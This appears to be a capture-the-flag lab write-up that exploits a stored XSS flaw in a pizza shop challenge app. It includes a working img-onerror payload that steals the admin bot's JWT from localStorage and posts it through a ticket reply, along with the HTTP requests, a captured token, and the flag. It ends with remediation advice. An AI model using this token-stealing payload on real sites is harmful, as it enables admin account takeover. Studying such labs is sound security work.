- Third time visiting Cheesy Does It and today was a completely different beast
- I went down several rabbit holes before landing the flag - documenting those here because they’re quite instructive
Reconnaissance
- SPA detected, 32 API endpoints extracted from the JS bundle
- Source map probe returned HTML (fake/disabled), so no raw source files available
- Beautified the main JS bundle and started reading
Endpoints Discovered
POST /api/register - Create account
POST /api/login - Login (returns JWT)
GET /api/verify-token - Verify JWT, returns user object
PUT /api/profile - Update profile
GET /api/menu/pizzas - Menu
POST /api/payment/validate - Card validation
POST /api/payment/process - Process payment
POST /api/orders - Place order
GET /api/orders/:id - View order
POST /api/tickets - Create support ticket
GET /api/tickets - List my tickets
GET /api/tickets/:id - View ticket + replies
POST /api/tickets/:id/replies - Reply to ticket
GET /api/rewards - Loyalty points
GET /api/admin/tickets - Admin: list all tickets
GET /api/admin/users - Admin: list users
GET /api/admin/coupons - Admin: coupons
GET /api/admin/stats - Admin: dashboard stats
GET /api/admin/flag - Admin: flag endpoint
JS Analysis - The Critical Finding
Searching the beautified JS for dangerous patterns:
grep -n "dangerouslySetInnerHTML" main.851582bd.jsFound at line 18137 — inside the admin ticket list table component:
(0,kt.jsx)("div",{
dangerouslySetInnerHTML:{
__html:e.message
}
})This means: when an admin views their ticket dashboard, every ticket’s message field is rendered as raw HTML. No sanitization. Classic Stored XSS sink.
Auth Structure
- JWT with HS256, claims:
{id, username, iat}- noroleclaim, role checked server-side - Token stored in
localStorage.getItem('token') - Admin endpoints return 403 “Admin access required” for non-admin tokens
- Mass assignment on register/profile does NOT work for
rolefield
Initial Approach (What Failed)
Attempt 1: Mass Assignment
Tried registering with "role": "admin" and updating profile with "role": "admin" - both silently ignored. Server-side allowlist on writable fields.
Attempt 2: XSS Exfiltration via localStorage.flag
Based on a previous challenge (Ottergram), I assumed the flag would be stored in localStorage.getItem('flag') on the admin bot’s browser. Spent several payloads trying to exfil this value.
Result: FLAG=null - the flag is NOT in localStorage on this challenge. Different architecture than Ottergram.
Attempt 3: Exfil via User Ticket Replies
Tried having the XSS payload post to /api/tickets/:id/replies (user endpoint). This works but the bot was not firing on my first batch of payloads. I later realized the bot has a ~60 second polling interval - patience was the real issue, not the payload.
Attempt 4: Wrong Ticket ID in Payload
Since ticket IDs are sequential and assigned server-side, I couldn’t predict the ID of the ticket I was about to create. Several payloads referenced a ticket ID that didn’t exist yet. Solution: create a “landing pad” ticket first, then submit the XSS payload targeting that known ID.
The Working Attack
Step 1: Register Users and Get Tokens
POST /api/register
Content-Type: application/json
{"username":"bob","email":"bob@test.com","password":"Password123!"}Response includes JWT. Registered two users for testing.
Step 2: Create a “Landing Pad” Ticket
This is the ticket where the admin bot will deposit the exfiltrated token as a reply:
POST /api/tickets
Authorization: Bearer <my-token>
Content-Type: application/json
{"subject":"Order never arrived","message":"placeholder"}Response: {"id": 25, "message": "Support ticket created"}
Now I know ticket 25 exists and I can read its replies.
Step 3: Submit XSS Payload
The payload uses the admin ticket reply endpoint (since the bot IS admin):
POST /api/tickets
Authorization: Bearer <my-token>
Content-Type: application/json
{
"subject": "Refund request",
"message": "<img src=x onerror=\"fetch('/api/admin/tickets/25/replies',{method:'POST',headers:{'Content-Type':'application/json','Authorization':'Bearer '+localStorage.getItem('token')},body:JSON.stringify({message:localStorage.getItem('token')})})\">"
}Why this payload works:
<img src=x>- the broken image source triggersonerrorimmediately when rendered viainnerHTMLlocalStorage.getItem('token')- the admin bot’s browser has the admin JWT in localStorage (same pattern as the React app’s auth flow)fetch('/api/admin/tickets/25/replies', ...)— posts the admin token as a reply to my ticket (which I can read)- Uses the admin’s OWN token in the Authorization header for the reply endpoint
Step 4: Wait for Bot (~60 seconds)
The admin bot periodically renders the ticket list page. When it does, dangerouslySetInnerHTML injects our <img> tag, the onerror fires, and the admin token gets posted as a reply.
Step 5: Read the Exfiltrated Token
GET /api/tickets/25
Authorization: Bearer <my-token>Response:
{
"replies": [{
"id": 20,
"message": "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6MSwidXNlcm5hbWUiOiJhZG1pbiIsImlhdCI6MTc4MDMzNTU3Nn0.fjdQ8aGfk38_H76D-NWCnL3W1ThavtVNfAcsfwB8-u8",
"is_staff": 1,
"username": "admin"
}]
}Admin token captured. Decoded: {"id":1,"username":"admin","iat":1780335576}
Step 6: Access Admin Flag Endpoint
GET /api/admin/flag
Authorization: Bearer <admin-token>{"flag":"bug{D7HD6XaR3NXxngrh11wnCFUzq2K5PqK7}"}Lessons Learned
- Don’t assume flag location from past challenges - I wasted time trying to exfil
localStorage.flagwhich was null. Each lab has its own architecture - Patience with bot timing - The bot polls every ~60 seconds. I nearly abandoned the XSS vector because early checks showed no reply. Just needed to wait
- Two-step landing pad technique - When you can’t predict your own ticket ID, create a ticket first, note the ID, then submit the payload targeting that ID
- Admin endpoints for exfil - The bot is admin, so payloads should use admin-tier endpoints (
/api/admin/tickets/:id/replies) rather than user endpoints - innerHTML sink selection -
<script>tags do NOT execute when injected via innerHTML/dangerouslySetInnerHTML. Must use event handlers:<img onerror>,<svg onload>,<details ontoggle>
Security Takeaways
Vulnerability
Stored XSS via dangerouslySetInnerHTML in admin ticket list - user-submitted ticket messages rendered as raw HTML in the admin dashboard without sanitization.
Impact
- Full Admin Account Takeover: Steal admin JWT from any user account
- Access to all admin functionality (user data, orders, coupons, stats)
- Persistent: payload fires every time admin views tickets
- Zero interaction required from victim beyond normal workflow
Remediation
- Never use
dangerouslySetInnerHTMLwith user-controlled content - Sanitize HTML server-side before storage (DOMPurify, bleach, etc.)
- Implement Content Security Policy (CSP) to block inline script execution
- Consider using React’s default text rendering (
childrenprop) which auto-escapes HTML - HttpOnly cookies instead of localStorage tokens to prevent JS-based token theft